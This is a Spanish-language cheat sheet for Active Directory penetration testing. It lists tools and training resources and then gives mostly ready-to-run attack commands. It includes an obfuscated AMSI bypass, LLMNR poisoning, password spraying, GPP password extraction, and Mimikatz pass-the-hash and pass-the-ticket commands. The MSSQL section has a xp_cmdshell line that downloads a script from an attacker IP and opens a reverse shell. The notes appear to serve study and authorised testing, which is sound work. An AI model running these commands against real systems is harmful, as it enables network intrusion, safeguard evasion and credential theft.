# Inicio

Apuntes sobre pentesting de Active Directory.


# Recursos de aprendizaje

## Plataformas

### Hack The Box Academy

* [Introduction to Active Directory](https://academy.hackthebox.com/course/preview/introduction-to-active-directory)
* [Active Directory Enumeration & Attacks](https://academy.hackthebox.com/course/preview/active-directory-enumeration--attacks)
* [Active Directory LDAP](https://academy.hackthebox.com/course/preview/active-directory-ldap)
* [Active Directory PowerView](https://academy.hackthebox.com/course/preview/active-directory-powerview)
* [Active Directory BloodHound](https://academy.hackthebox.com/course/preview/active-directory-bloodhound)

### TryHackMe

* [Active Directory Basics](https://tryhackme.com/room/winadbasics)
* [Breaching Active Directory](https://tryhackme.com/room/breachingad)
* [Enumerating Active Directory](https://tryhackme.com/room/adenumeration)
* [Lateral Movement and Pivoting](https://tryhackme.com/room/lateralmovementandpivoting)
* [Exploiting Active Directory](https://tryhackme.com/room/exploitingad)
* [Persisting Active Directory](https://tryhackme.com/room/persistingad)
* [Credentials Harvesting](https://tryhackme.com/room/credharvesting)
* [Throwback](https://tryhackme.com/network/throwback)
* [Holo](https://tryhackme.com/room/hololive)

## Certificaciones

* [CRTP - Certified Red Team Professional](https://www.pentesteracademy.com/activedirectorylab)
* [CRTE - Certified Red Teaming Expert](https://www.pentesteracademy.com/redteamlab)
* [PACES - PentesterAcademy Certified Enterprise Security Specialist](https://www.pentesteracademy.com/gcb)
* [CRTO - Certified Red Team Operator](https://training.zeropointsecurity.co.uk/courses/red-team-ops)


# Herramientas

## adidnsdump

* <https://github.com/dirkjanm/adidnsdump>

## ASREPRoast

* <https://github.com/HarmJ0y/ASREPRoast>

```powershell
Import-Module .\ASREPRoast.ps1
```

## BloodHound

* <https://github.com/BloodHoundAD/BloodHound>

### Ingestor/collector <a href="#bloodhound-ingestor-collector" id="bloodhound-ingestor-collector"></a>

* BloodHound.py (Linux/Unix)
  * <https://github.com/fox-it/BloodHound.py>
* SharpHound (Windows)
  * Ejecutable (.exe): <https://github.com/BloodHoundAD/SharpHound>
  * PowerShell: [SharpHound.ps1](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1)

## CrackMapExec

* <https://github.com/Porchetta-Industries/CrackMapExec>

## DomainPasswordSpray

* <https://github.com/dafthack/DomainPasswordSpray>

```powershell
Import-Module .\DomainPasswordSpray.ps1
```

## Evil-WinRM

* <https://github.com/Hackplayers/evil-winrm>

## Hashcat

* <https://hashcat.net/>

## HFS (HTTP File Server)

* <https://www.rejetto.com/hfs/>

## Inveigh

* <https://github.com/Kevin-Robertson/Inveigh>

```powershell
Import-Module .\Inveigh.ps1
```

## Impacket

* <https://github.com/SecureAuthCorp/impacket>

## Kerbrute

* <https://github.com/ropnop/kerbrute>

## LDAPDomainDump

* <https://github.com/dirkjanm/ldapdomaindump>

## ldapsearch

* <https://linux.die.net/man/1/ldapsearch>

## Mimikatz

* <https://github.com/ParrotSec/mimikatz>

### Invoke-Mimikatz

* <https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1>

```powershell
Import-Module .\Invoke-Mimikatz.ps1
```

## Módulo ActiveDirectory PowerShell

Importar módulo.

```powershell
Import-Module ActiveDirectory
```

Importar módulo desde DLL.

* <https://github.com/samratashok/ADModule>

```powershell
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1
```

## Powercat

* <https://github.com/besimorhino/powercat>

```powershell
Import-Module .\powercat.ps1
```

## PowerUp

* <https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1>

```powershell
Import-Module .\PowerUp.ps1
```

## PowerUpSQL

* <https://github.com/NetSPI/PowerUpSQL>

```powershell
Import-Module .\PowerUpSQL.ps1
```

## PowerView

* <https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon>

```powershell
Import-Module .\PowerView.ps1
```

## Responder

* <https://github.com/lgandx/Responder>

## Rubeus

* <https://github.com/GhostPack/Rubeus>

## SharpView

* <https://github.com/tevora-threat/SharpView>

## Snaffler

* <https://github.com/SnaffCon/Snaffler>

## WADComs

* [https://wadcoms.github.io](https://wadcoms.github.io/)

## windapsearch

* <https://github.com/ropnop/windapsearch>


# Bypass protecciones PowerShell scripts

## Ejecutar como administrador

```shell
runas /netonly /user:<user> cmd.exe
runas /netonly /user:<user> powershell.exe
```

## Política de ejecución

```powershell
powershell.exe -ExecutionPolicy Bypass
```

## AMSI&#x20;

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```


# LLMNR/NBT-NS poisoning

LLMNR, Link-Local Multicast Name Resolution / NBT-NS, NetBIOS Name Service

## Responder

```shell
responder -I <interface> -A
```

* -I =interfaz de red.
  * \<interface> = interfaz de red.
* -A = modo de análisis, esta opción permite ver las solicitudes pero sin responder.

## Inveigh

### **PowerShell Inveigh**

```powershell
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
```

### C# Inveigh (InveighZero)

```shell
.\Inveigh.exe
```

Presionar la tecla `ESC` para ingresar a la consola interactiva.

```shell
# Visualizar opciones de consola interactiva
HELP

# Visualizar hashes NTLM capturados por usuario
GET NTLMV1UNIQUE
GET NTLMV2UNIQUE

# Visualizar nombres de usuario y direcciones IPs/hostnames de origen
# para hashes NTLM capturados
GET NTLMV1USERNAMES
GET NTLMV2USERNAMES
```


# Enumeración no autenticada


# Enumeración de usuarios y grupos

## SMB NULL sessions

### CrackMapExec <a href="#smb-null-sessions-crackmapexec" id="smb-null-sessions-crackmapexec"></a>

```shell
crackmapexec smb <IP-address-DC> --users
```

### enum4linux <a href="#smb-null-sessions-enum4linux" id="smb-null-sessions-enum4linux"></a>

```shell
enum4linux -U <IP-address-DC> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]" > users-enum4linux.txt
```

### rpcclient <a href="#smb-null-sessions-rpcclient" id="smb-null-sessions-rpcclient"></a>

```shell
rpcclient -U "" -N <IP-address-DC>

# Consultar información del dominio
querydominfo
# Consultar información de visualización del dominio
querydispinfo
# Obtener información de política de contraseñas del dominio
getdompwinfo
# Enumerar usuarios
enumdomusers
# Enumerar grupos
enumdomgroups
# Obtener información de un usuario
queryuser <rid-user>
# Obtener información de un grupo
querygroup <rid-group>
# Obtener grupos de un usuario
queryusergroups <rid-user>
# Obtener miembros de un grupo
querygroupmem <rid-group>
```

## LDAP anonymous bind

### ldapsearch <a href="#ldap-anonymous-bind-ldapsearch" id="ldap-anonymous-bind-ldapsearch"></a>

```shell
ldapsearch -h <IP-address-DC> -x -b "DC=ACME,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" " > users-ldapsearch.txt
```

### windapsearch <a href="#ldap-anonymous-bind-windapsearch" id="ldap-anonymous-bind-windapsearch"></a>

```shell
windapsearch.py --dc-ip <IP-address-DC> -u "" -U
```

## Wordlists

### Kerbrute <a href="#wordlists-kerbrute" id="wordlists-kerbrute"></a>

```shell
kerbrute userenum -d <ACME.LOCAL> --dc <IP-address-DC> <wordlists> -o users-kerbrute.txt
```

* userenum = enumeración de usuarios de dominio válidos a través de Kerberos.
* -d = dominio.
* \--dc = controlador de dominio.
  * \<IP-address-DC> = dirección IP del controlador de dominio.
* \<wordlists> = ruta de wordlist de nombres de usuarios de dominio.
* -o = guarda resultado en archivo `users-kerbrute.txt`.


# Enumeración de política de contraseñas

## SMB NULL sessions <a href="#smb-null-sessions" id="smb-null-sessions"></a>

### enum4linux <a href="#smb-null-sessions-enum4linux" id="smb-null-sessions-enum4linux"></a>

```shell
enum4linux -P <IP-address-DC>
```

### rpcclient <a href="#smb-null-sessions-rpcclient" id="smb-null-sessions-rpcclient"></a>

```shell
rpcclient -U "" -N <IP-address-DC>
getdompwinfo
```

## LDAP anonymous bind

### ldapsearch <a href="#ldap-anonymous-bind-ldapsearch" id="ldap-anonymous-bind-ldapsearch"></a>

```shell
ldapsearch -h <IP-address-DC> -x -b "DC=ACME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
```


# Password spraying

## Linux/Unix

### Kerbrute

```shell
kerbrute passwordspray -d <ACME.LOCAL> --dc <IP-address-DC> <path-users> <password>
```

* passwordspray = prueba de una sola contraseña contra una lista de usuarios.
* -d = dominio.
* \--dc = controlador de dominio.
  * \<IP-address-DC> = dirección IP del controlador de dominio.
* \<path-users> = ruta de archivo con listado de usuarios.
* \<password> = contraseña.

### CrackMapExec

#### Active Directory

```shell
crackmapexec smb <IP-address-DC> -u <path-users> -p <password> | grep +
```

* \<IP-address-DC> = dirección IP del controlador de dominio.
* -u = usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -p = contraseña.
  * \<password> = contraseña.

#### Administrador local

```shell
crackmapexec smb --local-auth <CIDR> -u administrator -H <hash> | grep +
```

* \<CIDR> = Classless Inter-Domain Routing.
* \<hash> = hash de contraseña del usuario `administrator`.

## Windows

### DomainPasswordSpray

```powershell
Invoke-DomainPasswordSpray -Password <password> -OutFile domain-password-spray.txt -ErrorAction SilentlyContinue
```


# Enumeración autenticada


# BloodHound

## Linux/Unix

### Ingestor/collector BloodHound.py

```shell
bloodhound-python -ns <IP-address-DC> -d <ACME.LOCAL> -u "<user>" -p "<password>" -c all
```

### BloodHound

```shell
sudo neo4j start
bloodhound
```

## Windows

### Ingestor/collector SharpHound

#### Ejecutable (.exe)

```shell
.\SharpHound.exe -c All --zipfilename sharphound
```

#### PowerShell

```powershell
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
```

## Consultas de análisis

* Find Computers where Domain Users are Local Admin
* Find Workstations where Domain Users can RDP
* Find Servers where Domain Users can RDP
* List all Kerberoastable Accounts
* Find Computers with Unsupported Operating Systems

### CanPSRemote (PowerShell Remoting)

```
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
```

### SQLAdmin (SQLAdmin)

```
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
```


# Domain Name System (DNS)

## adidnsdump

```shell
adidnsdump -u <ACME.LOCAL>\\<user> -p "<password>" ldap://<IP-address-DC> -r
cat records.csv 
```


# Enumeración de dominios

## Windows

### .NET Classes

```powershell
$ADClass = [System.DirectoryServices.ActiveDirectory.Domain]
$ADClass::GetCurrentDomain()
```

### PowerView

Obtener información de dominio actual.

```powershell
Get-Domain
```

Obtención de SID de dominio actual.

```powershell
Get-DomainSID
```

Obtener información de un dominio específico.

```powershell
Get-Domain -Domain <ACME.LOCAL>
```

Obtener controladores de dominio para el dominio actual.

```powershell
Get-DomainController
```

### Módulo ActiveDirectory PowerShell

Obtener información de dominio actual.

```powershell
Get-ADDomain
```

Obtención de SID de dominio actual.

```powershell
(Get-ADDomain).DomainSID
```

Obtener información de un dominio específico.

```powershell
Get-ADDomain -Identity <ACME.LOCAL>
```

Obtener controladores de dominio para el dominio actual.

```powershell
Get-ADDomainController
```


# Enumeración de usuarios, grupos y computadoras

## Linux/Unix

### CrackMapExec

Enumeración de usuarios.

```shell
crackmapexec smb <IP-address-DC> -u <user> -p <password> --users
```

Enumeración de grupos.

```shell
crackmapexec smb <IP-address-DC> -u <user> -p <password> --groups
```

Enumeración de usuarios conectados.

```shell
crackmapexec smb <IP-address-DC> -u <user> -p <password> --loggedon-users
```

### LDAPDomainDump

```shell
mkdir ldapdomaindump
ldapdomaindump <IP-address-DC> -u "<ACME.LOCAL>/<user>" -p "<password>" --no-json --no-grep -o ldapdomaindump
```

### rpcclient <a href="#rpcclient" id="rpcclient"></a>

```shell
rpcclient -U <user>%<password> <IP-address-DC>

# Consultar información del dominio
querydominfo
# Consultar información de visualización del dominio
querydispinfo
# Obtener información de política de contraseñas del dominio
getdompwinfo
# Enumerar usuarios
enumdomusers
# Enumerar grupos
enumdomgroups
# Obtener información de un usuario
queryuser <rid-user>
# Obtener información de un grupo
querygroup <rid-group>
# Obtener grupos de un usuario
queryusergroups <rid-user>
# Obtener miembros de un grupo
querygroupmem <rid-group>
```

### windapsearch

Enumerar miembros del grupo "domain admins".

```shell
windapsearch.py --dc-ip <IP-address-DC> -u <user>@<ACME.LOCAL> -p <password> --da
```

Buscar usuarios privilegiados.

```shell
windapsearch.py --dc-ip <IP-address-DC> -u <user>@<ACME.LOCAL> -p <password> --PU
```

## Windows

### Comandos nativos

Enumeración de usuarios.

```powershell
# Enumeración de usuarios
net user /domain
dsquery user
# Obtener información de un usuario
net user "<user-name>" /domain
```

Enumeración de grupos.

```powershell
# Enumeración de grupos
net group /domain
dsquery group
# Obtener miembros de un grupo
net group "<group-name>" /domain
net group "Domain Admins" /domain
```

### Módulo ActiveDirectory PowerShell

Enumeración de usuarios.

```powershell
# Enumeración de usuarios del dominio actual
Get-ADUser -Filter *
Get-ADUser -Filter * | Select SamAccountName, Name
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > users.txt
# Obtener usuarios de un dominio
Get-DomainUser -Domain <ACME.LOCAL> | Select SamAccountName
# Obtener información de un usuario
Get-ADUser -Identity "<user-name>"
# Obtener fecha y hora en que se cambió por última vez la contraseña de cada usuario
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
# Obtener cuentas con Service Principal Name (SPN)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

Enumeración de grupos.

```powershell
# Enumeración de grupos
Get-ADGroup -Filter *
Get-ADGroup -Filter * | Select Name
# Obtener todos los grupos que contengan la palabra "admin" en el nombre del grupo
Get-ADGroup -Filter 'Name -like "*admin*"' | Select Name
# Obtener información de un grupo
Get-ADGroup -Identity "<group-name>"
# Obtener miembros de un grupo
Get-ADGroupMember -Identity "<group-name>"
Get-ADGroupMember -Identity "Domain Admins"
```

Enumeración de computadoras.

```powershell
# Enumeración de computadoras
Get-ADComputer -Filter * | Select Name
Get-ADComputer -Filter * -Properties *
# Filtro de computadoras por sistema operativo
Get-ADComputer -Filter 'OperatingSystem -like "*<operating-system>*"' -Properties OperatingSystem | Select Name, OperatingSystem
# Obtención de computadoras activos 
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
```

### PowerView

Enumeración de usuarios.

```powershell
# Enumeración de usuarios
Get-DomainUser
Get-DomainUser | Select SamAccountName, LastLogonTimestamp | Sort-Object SamAccountName
Get-DomainUser | Select -ExpandProperty SamAccountName | Out-File -FilePath .\domain-users.txt
# Obtener información de un usuario
Get-DomainUser -Identity "<user-name>"
Get-DomainUser -Identity "<user-name>" | Select SamAccountName, ObjectsId, MemberOf, UserAccountControl | fl
# Obtener fecha y hora en que se cambió por última vez la contraseña de cada usuario
Get-DomainUser | Select SamAccountName, PWDLastSet | Sort-Object PWDLastSet
# Obtener cantidad de veces que el usuario intentó iniciar sesión con una contraseña incorrecta
Get-DomainUser | Select SamAccountName, BadPWDCount | Sort-Object BadPWDCount -Descending
# Obtener el número de veces que cada cuenta ha iniciado sesión correctamente
Get-DomainUser | Select SamAccountName, LogonCount | Sort-Object LogonCount -Descending
# Obtener cuentas con Service Principal Name (SPN)
Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
```

Enumeración de grupos.

```powershell
# Enumeración de grupos
Get-DomainGroup
Get-DomainGroup | Select SamAccountName | Sort-Object SamAccountName
# Obtener todos los grupos que contengan la palabra "admin" en el nombre del grupo
Get-DomainGroup "*admin*"
# Obtener información de un grupo
Get-DomainGroup -Identity "<group-name>"
# Obtener miembros de un grupo
Get-DomainGroupMember -Identity "<group-name>"
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain <ACME.LOCAL>
# Obtener miembros de un grupo recursivamente
Get-DomainGroupMember -Identity "<group-name>" -Recurse
```

Enumeración de computadoras.

```powershell
# Enumeración de computadoras
Get-DomainComputer
Get-DomainComputer | Select Name, DNSHostName, OperatingSystem | Sort-Object Name
# Filtro de computadoras por sistema operativo
Get-DomainComputer -OperatingSystem "*<operating-system>*" | Select Name, OperatingSystem | Sort-Object Name
# Obtención de computadoras activos
Get-DomainComputer -Ping | Select Name, DNSHostName | Sort-Object Name
```

### SharpView

Enumeración de usuarios.

```powershell
# Enumeración de usuarios
.\SharpView.exe Get-DomainUser *
# Obtener información de un usuario
.\SharpView.exe Get-DomainUser -Identity "<user-name>"
# Obtener cuentas con Service Principal Name (SPN)
.\SharpView.exe Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
```

Enumeración de grupos.

```powershell
# Enumeración de grupos
.\SharpView.exe Get-DomainGroup *
# Obtener información de un grupo
.\SharpView.exe Get-DomainGroup -Identity "<group-name>"
# Obtener miembros de un grupo
.\SharpView.exe Get-DomainGroupMember -Identity "<group-name>"
.\SharpView.exe Get-DomainGroupMember -Identity "Domain Admins"
# Obtener miembros de un grupo recursivamente
.\SharpView.exe Get-DomainGroupMember -Identity "<group-name>" -Recurse
```


# Enumeración de recursos compartidos

## Linux/Unix

### CrackMapExec

```shell
crackmapexec smb <target> -u <user> -p <password> --shares
crackmapexec smb <target> -u <user> -p <password> -M spider_plus --share "<path\sharename>"
```

### SMBMap

```shell
smbmap -H <target> -d <ACME.LOCAL> -u <user> -p <password>
smbmap -H <target> -d <ACME.LOCAL> -u <user> -p <password> -R --dir-only
smbmap -H <target> -d <ACME.LOCAL> -u <user> -p <password> -R "<path\sharename>"
```

## Windows

### PowerView

Recursos compartidos en hosts en el dominio actual.

```powershell
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC
```

Archivos compartidos en hosts en el dominio actual.

```powershell
Invoke-FileFinder –Verbose
```

Obtener servidores de archivos en el dominio actual.

```powershell
Get-NetFileServer
```

### Snaffler

```shell
.\Snaffler.exe -s -d <ACME.LOCAL> -o snaffler.log -v data
```


# Enumeración de política de contraseñas

## Linux/Unix

### CrackMapExec <a href="#linux-unix-crackmapexec" id="linux-unix-crackmapexec"></a>

```shell
crackmapexec smb <IP-address-DC> -u <user> -p <password> --pass
```

## Windows

### Símbolo del sistema (cmd) <a href="#windows-simbolo-del-sistema-cmd" id="windows-simbolo-del-sistema-cmd"></a>

```shell
net accounts
```

### Módulo ActiveDirectory PowerShell

```powershell
(Get-DomainPolicy)."system access"
```

### PowerView <a href="#windows-powerview" id="windows-powerview"></a>

```powershell
Get-DomainPolicy
```


# Enumeración de Group Policy Object (GPO)

## Windows

### PowerView

Enumeración de GPO.

```powershell
Get-DomainGPO
Get-DomainGPO | Select DisplayName | Sort-Object DisplayName
```

Enumeración de permisos sobre GPO para usuarios del dominio.

```powershell
$sid = Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
```

Enumeración de GPO por computador.

```powershell
Get-DomainGPO -ComputerName <computer>
```

Enumeración de unidades organizativas (OU).

```powershell
Get-DomainOU
Get-DomainOU | Select Name | Sort-Object Name
```

Obtener GPO aplicada a una unidad organizativa (UO). El valor del parámetro `GPOname` se puede obtener desde el valor `gplink` al ejecutar el comando `Get-DomainOU`.

```powershell
Get-NetGPO -GPOname "{<id>}"
```

### Group Policy Management Tools

Enumeración de GPO.

```powershell
Get-GPO -All | Select DisplayName
```


# Enumeración de Access Control List (ACL)

## Windows

### PowerView

Enumeración de ACL.

```powershell
Get-DomainObjectACL
```

Enumeración de ACL por objeto.

```powershell
Get-DomainObjectACL -SamAccountName <user> –ResolveGUIDs
```

```powershell
$sid = Convert-NameToSid <user>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

Enumeración de ACL por grupo.

```powershell
$sid = Convert-NameToSid "<group-name>"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

Obtención de ACL interesantes.

```powershell
Find-InterestingDomainACL -ResolveGUIDs
```

## BloodHound

* Node Info -> Outbound Control Rights
  * First Degree Object Control
  * Group Delegated Object Control
  * Transitive Object Control


# Enumeración de relaciones de confianza de dominio

## Windows

### Módulo ActiveDirectory PowerShell

Relaciones de confianza de dominio.

```powershell
Get-ADTrust -Filter *
```

Enumeración de bosque (forest).

```powershell
# Obtener detalles sobre el bosque actual
Get-ADForest
# Obtener todos los dominios en el bosque actual
(Get-ADForest).Domains
# Obtenger todos los catálogos globales para el bosque actual
Get-ADForest | Select -ExpandProperty GlobalCatalogs
```

### PowerView

Relaciones de confianza de dominio.

```powershell
Get-DomainTrust
Get-DomainTrust | Select SourceName, TargetName, TrustType, TrustAttributes, TrustDirection | ft
Get-DomainTrustMapping
```

Enumeración de bosque (forest).

```powershell
# Obtener detalles sobre el bosque actual
Get-Forest
# Obtener todos los dominios en el bosque actual
Get-ForestDomain
# Obtenger todos los catálogos globales para el bosque actual
Get-ForestGlobalCatalog
```


# User hunting

## Windows

### PowerView

Encontrar hosts donde un administrador de dominio está conectado.

```powershell
Invoke-UserHunter
```

Encontrar todos los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local.

```powershell
# Opción 1
Invoke-UserHunter -CheckAccess

# Opción 2
Find-LocalAdminAccess –Verbose
```

Encontrar administradores locales en todos los hosts del dominio actual.

```powershell
Find-DomainLocalGroupMember -Verbose
```

Encontrar hosts donde un administrador de dominio (o usuario/grupo especificado) tiene sesiones.

```powershell
Find-DomainUserLocation
Find-DomainUserLocation -UserIdentity "<user>"
Find-DomainUserLocation -GroupName "<group-name>"
```

Encontrar hosts en los que haya iniciado sesión un administrador de dominio.

```powershell
Find-DomainUserLocation -Stealth
```

### Find-WMILocalAdminAccess

Encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local.

```powershell
# PowerView
Get-DomainComputer | Select -ExpandProperty DNSHostName | Sort-Object DNSHostName | Out-File -FilePath .\domain-computers.txt
# Find-WMILocalAdminAccess
Import-Module .\Find-WMILocalAdminAccess.ps1
Find-WMILocalAdminAccess -ComputerFile .\domain-computers.txt
```

### Find-PSRemotingLocalAdminAccess

Encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local.

```powershell
# PowerView
Get-DomainComputer | Select -ExpandProperty DNSHostName | Sort-Object DNSHostName | Out-File -FilePath .\domain-computers.txt
# PSRemotingLocalAdminAccess
Import-Module .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess -ComputerFile .\domain-computers.txt
```


# Microsoft SQL Server (MSSQL)

## Linux/Unix

### Impacket

```shell
# impacket-mssqlclient
mssqlclient.py <ACME.LOCAL>/<user>:"<password>"@<target> -windows-auth
enable_xp_cmdshell
xp_cmdshell whoami
```

## Windows

### PowerUpSQL

Descubrir instancias de SQL Server.

```powershell
Get-SQLInstanceDomain
```

Obtener información de instancias de SQL Server.

```powershell
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

Comprobar acceso a instancias de SQL Server dado un usuario y contraseña.

```powershell
$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username "<ACME.LOCAL>\<user>" -Password "<password>" | Where-Object {$_.Status -like "Accessible"}
$SQLInstances
```

Comprobar acceso a instancias de SQL Server utilizando la cuenta de usuario actual.

```powershell
$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
$SQLInstances
```

Ejecución de consultas SQL.

```powershell
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Query "SELECT @@version"
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Username "<ACME.LOCAL>\<user>" -Password "<password>" -Query "SELECT @@version"
```

Obtener links de bases de datos.

```powershell
Get-SQLServerLink -Instance "<Instance>" -Verbose
```

Rastrear links de bases de datos.

```powershell
Get-SQLServerLinkCrawl -Instance "<Instance>" -Verbose
```

Ejecución de comandos utilizando links de bases de datos.

```powershell
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'hostname & whoami'"
```

Reverse shell utilizando links de bases de datos.

```powershell
# Powercat
powercat -l -v -p <listen-port>
# PowerUpSQL
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'powershell.exe IEX (iwr http://<attacker-IP-address>:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Invoke-PowerShellTcp -Reverse -IPAddress <attacker-IP-address> -Port <listen-port>'"
```


# PowerShell remoting

Utilizando credenciales de sesión actual.

```powershell
# PowerView
# encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local
Find-LocalAdminAccess

# Stateless (sin estado)
Enter-PSSession -ComputerName <computer-name>

# Stateful (con estado)
$session = New-PSSession -ComputerName <computer-name>
Enter-PSSession -Session $session
```

Utilizando credenciales de un usuario en particular.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential ("<ACME.LOCAL>\<user>", $UserPassword)
Enter-PSSession -ComputerName <computer-name> -Credential $UserCredential
```

Ejecución de comandos.

```powershell
Invoke-Command -ComputerName <computer-name> -ScriptBlock {hostname; whoami; ipconfig}
```

Ejecución de script.

```powershell
# Opción 1
IEX (iwr http://<IP-address>:<port>/script.ps1 -UseBasicParsing)
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -Session $session -ScriptBlock ${function:<function-name>}

# Opción 2
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -FilePath C:\<path>\script.ps1 -Session $session
Enter-PSSession -Session $session
<function-name>

# Opción 3
Import-Module C:\<path>\script.ps1
Invoke-Command -ComputerName <computer-name> -ScriptBlock ${function:<function-name>}
```


# Remote Desktop Protocol (RDP)

## rdesktop

```shell
rdesktop <target> -u <username> -p <password>
```

* \<target> = dirección IP del objetivo.
* \<username> = nombre de usuario.
* \<password> = contraseña de usuario.

## FreeRDP

```shell
xfreerdp /v:<target> /u:<username> /p:'<password>' /dynamic-resolution +clipboard /drive:.,share
```

* \<target> = dirección IP del objetivo.
* \<username> = nombre de usuario.
* \<password> = contraseña de usuario.
* /drive:.,share = habilita unidad compartida de red. El `.` indica compartir el directorio actual (máquina atacante) y `share` nombre de la unidad compartida en máquina victima.

## Remmina

* <https://remmina.org/>


# Server Message Block (SMB)

## Impacket

```shell
# impacket-psexec
psexec.py <ACME.LOCAL>/<user>:"<password>"@<target>
psexec.py <ACME.LOCAL>/<user>@<target> -hashes <hash>

# impacket-wmiexec
wmiexec.py <ACME.LOCAL>/<user>:"<password>"@<target>
wmiexec.py <ACME.LOCAL>/<user>@<target> -hashes <hash>
```

* \<user> = usuario.
* \<password> = contraseña.
* \<target> = dirección IP del objetivo.
* \<hash> = `LMHASH:NTHASH`


# Windows Remote Management (WinRM)

## Evil-WinRM

```shell
evil-winrm -i <target> -u "<ACME.LOCAL>\<user>" -p <password>
evil-winrm -i <target> -u "<ACME.LOCAL>\<user>" -H <hash>
evil-winrm -i <target> -u "<ACME.LOCAL>\<user>" -p <password> -s <path>
```

* \<target> = dirección IP del objetivo.
* \<user> = nombre de usuario.
* \<password> = contraseña de usuario.
* \<hash> = hash de la contraseña del usuario.
* -s = ruta local (máquina atacante) de scripts de PowerShell.


# Pass the Hash (PtH)

## Invoke-Mimikatz

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<user> /domain:<ACME.LOCAL> /ntlm:<NT-hash> /run:powershell.exe"'
```


# Pass the Ticket (PtT)

## Invoke-Mimikatz

```powershell
Invoke-Mimikatz -Command '"kerberos::ptt <ticket.kirbi>"'
Invoke-Command -ComputerName <computer-name> -ScriptBlock {hostname; whoami; ipconfig}
```

## Rubeus

```
.\Rubeus.exe ptt /ticket:<ticket-base64>
```


# Configuraciones incorrectas

## Información confidencial

### Campo descripción de los usuarios

```powershell
# PowerView
Get-DomainUser * | Select-Object SamAccountName, Description | Where-Object {$_.Description -ne $null}
Find-UserField -SearchField Description -SearchTerm "<search-pattern>"
```

### Recursos compartidos y scripts en SYSVOL

```shell
smbmap -H <IP-address-DC> -d <ACME.LOCAL> -u <user> -p <password>
smbmap -H <IP-address-DC> -d <ACME.LOCAL> -u <user> -p <password> -R "SYSVOL"
```

## Group Policy Preferences (GPP)

### CrackMapExec

```shell
crackmapexec smb <IP-address-DC> -u <user> -p <password> -M gpp_password
crackmapexec smb <IP-address-DC> -u <user> -p <password> -M gpp_autologin
```

### PowerSploit

```powershell
# Get-GPPPassword.ps1
Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

# Get-GPPAutologon.ps1
Import-Module .\Get-GPPAutologon.ps1
Get-GPPAutologon
Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
```

## PASSWD\_NOTREQD

